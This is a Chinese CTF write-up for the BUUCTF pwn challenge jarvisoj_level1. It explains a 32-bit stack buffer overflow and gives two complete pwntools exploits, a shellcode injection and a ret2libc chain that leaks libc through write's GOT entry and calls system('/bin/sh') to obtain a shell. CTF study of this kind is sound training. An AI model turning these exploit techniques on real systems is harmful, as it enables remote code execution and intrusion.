• [BUUCTF]PWN——jarvisoj_level1


    jarvisoj_level1

    附件

    步骤:

    1. 例行检查,32位程序,没有开任何保护
      在这里插入图片描述

    2. 本地运行一下程序,看看大概的情况,可以看到输出了一个地址
      在这里插入图片描述

    3. 32位ida载入,习惯性的检索程序里的字符串,没有发现可以直接利用的gates,
      main函数开始看程序
      在这里插入图片描述
      function函数
      在这里插入图片描述
      参数buf存在明显的溢出漏洞,程序还将buf参数的地址给了我们
      由于没有开启nx,所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell
      但是在测试的时候发现,远程连接不会一开始就回显buf的地址,所以上述的方法只能本地打通

    from pwn import *
    
    #r=remote('node3.buuoj.cn',29465)
    r=process('level1')
    
    buf_addr=int((r.recvline()[14:22]),16)
    	
    shellcode=asm(shellcraft.sh())
    
    payload=shellcode+'a'*(0x88+4-len(shellcode))+p32(buf_addr)
    
    r.sendline(payload)
    
    r.interactive()
    

    在这里插入图片描述
    这题想要远程打通,我是使用了常规的ret2libc的方法,远程是先调用了write函数,然后是function函数

    利用write函数泄露libc版本,之后计算system函数和/bin/sh字符串的位置,最后构造rop攻击获取shell

    完整exp:

    from pwn import *
    from LibcSearcher import *
    
    r = remote('node3.buuoj.cn',29465)
    elf = ELF("./level1")
    main_addr=0x80484b7
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    
    payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4) 
    
    r.send(payload)
    write_addr = u32(r.recv(4))
    
    libc=LibcSearcher('write',write_addr)
    libc_base=write_addr-libc.dump('write')
    
    system_addr=libc_base+libc.dump('system')
    bin_sh=libc_base+libc.dump('str_bin_sh')
    payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
    
    r.send(payload)
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    原生JS实现日历
    重复的事情让机器来做,简化的思想
    Ext3.1的一些使用讨论
    JS使用Crypto实现AES/ECS/zero-padding加密
    一些提升效率的小知识
    一些很有意思的JS现象
    Tiny Linux -- tce-load
    python sqlalchemy mysql 自动映射
    python 反射
    python 动态导包
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273669.html
Copyright © 2020-2023  润新知